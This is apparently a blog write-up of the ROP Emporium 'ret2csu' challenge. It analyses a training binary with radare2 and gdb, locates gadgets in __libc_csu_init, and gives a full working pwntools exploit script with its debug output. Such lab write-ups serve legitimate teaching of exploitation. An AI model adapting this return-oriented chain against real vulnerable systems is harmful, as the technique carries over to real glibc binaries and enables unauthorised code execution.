ROP Emporium - ret2csu


ret2csu, the final ROP Emporium challenge. This one is GLIBC-specific but nonetheless it is a fun exercise which forces you to look beyond the standard functions which the application author wrote and instead explore other parts of the binary which are essentially provided by the ecosystem.

Exploring the binary

Not much going on with this binary:

jasper@ropper:~/ropemporium/ret2csu$ checksec ret2csu
[*] '/home/jasper/ropemporium/ret2csu/ret2csu'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

And as expected there is no usefulFunction or usefulGadgets:

[0x004005f0]> afl
0x00400560    3 23           sym._init
0x00400590    1 6            sym.imp.puts
0x004005a0    1 6            sym.imp.system
0x004005b0    1 6            sym.imp.printf
0x004005c0    1 6            sym.imp.memset
0x004005d0    1 6            sym.imp.fgets
0x004005e0    1 6            sym.imp.setvbuf
0x004005f0    1 43           entry0
0x00400620    1 2            sym._dl_relocate_static_pie
0x00400630    4 42   -> 37   sym.deregister_tm_clones
0x00400660    4 58   -> 55   sym.register_tm_clones
0x004006a0    3 34   -> 29   sym.__do_global_dtors_aux
0x004006d0    1 7            entry.init0
0x004006d7    1 61           sym.main
0x00400714    1 157          sym.pwnme
0x004007b1    1 128          sym.ret2win
0x00400840    3 101  -> 92   sym.__libc_csu_init
0x004008b0    1 2            sym.__libc_csu_fini
0x004008b4    1 9            sym._fini
[0x004005f0]> s loc.
loc.__init_array_end     loc.__init_array_start   loc.__GNU_EH_FRAME_HDR   loc.data_start           loc._edata
loc.__data_start         loc._end                 loc.__bss_start          loc.imp.__gmon_start
[0x004005f0]>

So let's look at the mentioned __libc_csu_init() function:

[0x004007b1]> s sym.__libc_csu_init
[0x00400840]> pdf
/ (fcn) sym.__libc_csu_init 92
|   sym.__libc_csu_init (int arg1, int arg2, int arg3);
|           ; arg int arg1 @ rdi
|           ; arg int arg2 @ rsi
|           ; arg int arg3 @ rdx
|           ; DATA XREF from entry0 (0x400606)
|           0x00400840      4157           push r15
|           0x00400842      4156           push r14
|           0x00400844      4989d7         mov r15, rdx                ; arg3
|           0x00400847      4155           push r13
|           0x00400849      4154           push r12
|           0x0040084b      4c8d25be0520.  lea r12, qword obj.__frame_dummy_init_array_entry ; loc.__init_array_start ; 0x600e10
|           0x00400852      55             push rbp
|           0x00400853      488d2dbe0520.  lea rbp, qword obj.__do_global_dtors_aux_fini_array_entry ; loc.__init_array_end ; 0x600e18
|           0x0040085a      53             push rbx
|           0x0040085b      4189fd         mov r13d, edi               ; arg1
|           0x0040085e      4989f6         mov r14, rsi                ; arg2
|           0x00400861      4c29e5         sub rbp, r12
|           0x00400864      4883ec08       sub rsp, 8
|           0x00400868      48c1fd03       sar rbp, 3
|           0x0040086c      e8effcffff     call sym._init
|           0x00400871      4885ed         test rbp, rbp
|       ,=< 0x00400874      7420           je 0x400896
|       |   0x00400876      31db           xor ebx, ebx
|       |   0x00400878      0f1f84000000.  nop dword [rax + rax]
|       |   ; CODE XREF from sym.__libc_csu_init (+0x54)
|      .--> 0x00400880      4c89fa         mov rdx, r15
|      :|   0x00400883      4c89f6         mov rsi, r14
|      :|   0x00400886      4489ef         mov edi, r13d
|      :|   0x00400889      41ff14dc       call qword [r12 + rbx*8]
..
|       |   ; CODE XREF from sym.__libc_csu_init (0x400874)
|       `-> 0x00400896      4883c408       add rsp, 8
|           0x0040089a      5b             pop rbx
|           0x0040089b      5d             pop rbp
|           0x0040089c      415c           pop r12
|           0x0040089e      415d           pop r13
|           0x004008a0      415e           pop r14
|           0x004008a2      415f           pop r15
\           0x004008a4      c3             ret
[0x00400840]>

Plenty of nice gadgets here! But nothing that readily allows control over RDX just yet.

[0x00400840]> /R pop rdx
[0x00400840]>

Finding the gadgets

radare2 finds one usable gadget which allows control over rdx:

  0x00400880             4c89fa  mov rdx, r15
  0x00400883             4c89f6  mov rsi, r14
  0x00400886             4489ef  mov edi, r13d
  0x00400889           41ff14dc  call qword [r12 + rbx*8]

Notice however that the gadget at 0x00400880 doesn't end in a ret instruction but instead does a call to a computed location. In order for the address to call to be determined we should put the actual address of ret2win() in r12 and make sure rbx is 0 so that:

call qword [ret2win + 0x0*8]

But for this we'll need control over rbx, r12 - r15 too:

[0x004005f0]> /R pop r15
  0x0040089c               415c  pop r12
  0x0040089e               415d  pop r13
  0x004008a0               415e  pop r14
  0x004008a2               415f  pop r15
  0x004008a4                 c3  ret

Looking at the disasmbly of __libc_csu_init there is clearly a way to control rbx despite r2 not finding it by default:

[0x004005f0]> s 0x40089a
[0x0040089a]> pd
            0x0040089a      5b             pop rbx
            0x0040089b      5d             pop rbp
            0x0040089c      415c           pop r12
            0x0040089e      415d           pop r13
            0x004008a0      415e           pop r14
            0x004008a2      415f           pop r15
            0x004008a4      c3             ret
[...]
[0x0040089a]> /R xchg rbx
[0x0040089a]> /R mov rbx
[0x0040089a]> /R pop rbx
[0x0040089a]>

Turns out the standard length of a gadget that r2 searches for is 5 instructions, and the one above is 7. So change the settings and search again:

[0x004005f0]> e rop.len = 7
[0x004005f0]> /R pop rbx
  0x0040089a                 5b  pop rbx
  0x0040089b                 5d  pop rbp
  0x0040089c               415c  pop r12
  0x0040089e               415d  pop r13
  0x004008a0               415e  pop r14
  0x004008a2               415f  pop r15
  0x004008a4                 c3  ret

[0x004005f0]>

So now we have one gadget to control all registers needed for 0x00400880.

My initial chain wrote the literal address of ret2win into r12. However that doesn't work (of course) since the call has [r12+rbx*8] as the operand, not r12+rbx*8 so we need a pointer to the address in r12.

To verify this I set a breakpoint on 0x400886 in gdb and adjusted the memory by hand by pointing r12 to .bss and writing the address of ret2win into .bss:

set $r12 = 0x601060
set {long}0x601060 = 0x4007b1

This spawned a shell so my approach was correct. Since there are no gadgets available to write to arbitrary memory locations through a 'mov [regA], regB' construct I went back to the original paper and this blog post: Some universal gadget sequence for Linux x86_64 ROP payload.

Since we control the stack we can put the address of ret2win() on the stack and point to that. For this we need to extend our usage of the 0x00400880 gadget to also include the next instructions:

  400880:       4c 89 fa                mov    rdx,r15
  400883:       4c 89 f6                mov    rsi,r14
  400886:       44 89 ef                mov    edi,r13d
  400889:       41 ff 14 dc             call   QWORD PTR [r12+rbx*8]
  40088d:       48 83 c3 01             add    rbx,0x1
  400891:       48 39 dd                cmp    rbp,rbx
  400894:       75 ea                   jne    400880 <__libc_csu_init+0x40>
  400896:       48 83 c4 08             add    rsp,0x8
  40089a:       5b                      pop    rbx
  40089b:       5d                      pop    rbp
  40089c:       41 5c                   pop    r12
  40089e:       41 5d                   pop    r13
  4008a0:       41 5e                   pop    r14
  4008a2:       41 5f                   pop    r15
  4008a4:       c3                      ret

This alters the approach of putting the address of ret2win in r12 and calling it from ensuring the call made at that point doesn't modify our registers (especially rdx in this case) and doesn't crash so that we can adjust rsp to point to ret2win and slide on through to 0x4008a4 to return into ret2win to win.

There's another catch, we have to ensure the jump is not taken so cmp rbp, rbx should find that both registers are equal. So rbx should be popped off of the stack as 0x0 and rbp as 0x1.

That still leaves the question of what to put into r12. We cannot store the address of a function there, instead we need an address that points to a function that doesn't modify any registers or at least leaves rdx alone.

The article points to consulting _DYNAMIC for this to call _init():

gdb-peda$ x/10x &_DYNAMIC
0x600e20:       0x00000001      0x00000000      0x00000001      0x00000000
0x600e30:       0x0000000c      0x00000000      0x00400560      0x00000000
0x600e40:       0x0000000d      0x00000000
gdb-peda$ x/x 0x600e38
0x600e38:       0x00400560
gdb-peda$ disas 0x00400560
Dump of assembler code for function _init:
   0x0000000000400560 <+0>:     sub    rsp,0x8
   0x0000000000400564 <+4>:     mov    rax,QWORD PTR [rip+0x200a8d]        # 0x600ff8
   0x000000000040056b <+11>:    test   rax,rax
   0x000000000040056e <+14>:    je     0x400572 <_init+18>
   0x0000000000400570 <+16>:    call   rax
   0x0000000000400572 <+18>:    add    rsp,0x8
   0x0000000000400576 <+22>:    ret
End of assembler dump.
gdb-peda$

This was the final piece of information we needed and now we can assemble the chain.

Exploit

This "universal chain" works, as long as your universe is GLIBC:

jasper@ropper:~/ropemporium/ret2csu$ python ret2csu.py -d
[+] Starting local process './ret2csu': pid 24664
[DEBUG] Received 0x5f bytes:
    'ret2csu by ROP Emporium\n'
    '\n'
    'Call ret2win()\n'
    'The third argument (rdx) must be 0xdeadcafebabebeef\n'
    '\n'
    '> '
[DEBUG] Sent 0xa9 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  AAAAAAAAAAAAAAAA
    *
    00000020  41 41 41 41  41 41 41 41  9a 08 40 00  00 00 00 00  AAAAAAAA│··@·│····│
    00000030  00 00 00 00  00 00 00 00  01 00 00 00  00 00 00 00  │····│····│····│····│
    00000040  38 0e 60 00  00 00 00 00  00 00 00 00  00 00 00 00  8·`·│····│····│····│
    00000050  00 00 00 00  00 00 00 00  ef be be ba  fe ca ad de  │····│····│····│····│
    00000060  80 08 40 00  00 00 00 00  00 00 00 00  00 00 00 00  │··@·│····│····│····│
    00000070  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    *
    000000a0  b1 07 40 00  00 00 00 00  0a                        │··@·│····│·│
    000000a9
[DEBUG] Received 0x21 bytes:
    'ROPE{a_placeholder_32byte_flag!}\n'
[+] ROPE{a_placeholder_32byte_flag!}
[*] Stopped process './ret2csu' (pid 24664)
jasper@ropper:~/ropemporium/ret2csu$

Having to dip into _DYNAMIC and going though parts of __libc_csu_init() twice was not too intuitive but it does show that gadgets do not need to be located in code the application author created.

#!/usr/bin/env python2

import argparse

from pwn import *

def exploit():
    p = process('./ret2csu')
    p.recvuntil('> ')

    # Gadgets
    pop_rdi = p64(0x004008a3)
    pop_rsi_r15 = p64(0x004008a1)
    nop = p64(0x004008a4)
    # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword [r12 + rbx*8];
    # 
    caller = p64(0x00400880)
    # pop rbx, rbp, r12, r13, r14, r15
    popper = p64(0x0040089a)

    # Functions (and PLT entries)
    ret2win = p64(0x004007b1)

    bss = p64(0x601060)

    # They value that needs to be present in rdx before calling ret2win
    rdx_value = p64(0xdeadcafebabebeef)

    payload = 'A' * 40
    payload += popper
    payload += p64(0x0)      # rbx
    payload += p64(0x1)      # rbp
    payload += p64(0x600e38) # r12
    payload += p64(0x0) * 2  # r13 - r14
    payload += rdx_value     # r15
    # Now we go to caller with the correct values in the registers setup.
    # We end up calling 0x600e38 along the way without side effects and then
    # adjust rsp (hence ret2win is at the end of the chain because that's the
    # new rsp value. We have to provide a fair amount of padding for all the registers
    # that will be popped along the way.
    payload += caller
    payload += p64(0x0) * 7  # Just fillers to ride the pop sleigh for the second time and get ret2win on the stack 
    payload += ret2win

    p.sendline(payload)
    log.success(p.recv())


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('--arch', '-a',
            help='Binary architecture', default='amd64')
    parser.add_argument('--os', '-O',
            help='Operating system', default='linux')
    parser.add_argument('--debug', '-d',
            help='Enable debug output', default=False,
            action='store_true')
    args = parser.parse_args()

    context(os=args.os, arch=args.arch)

    if args.debug:
        context.log_level = 'debug'

    exploit()

if __name__ == '__main__':
    main()

So that was ROP Emporium (64 bit), please let me know via mail or Twitter if you've found these articles useful or if there are any mistakes in there.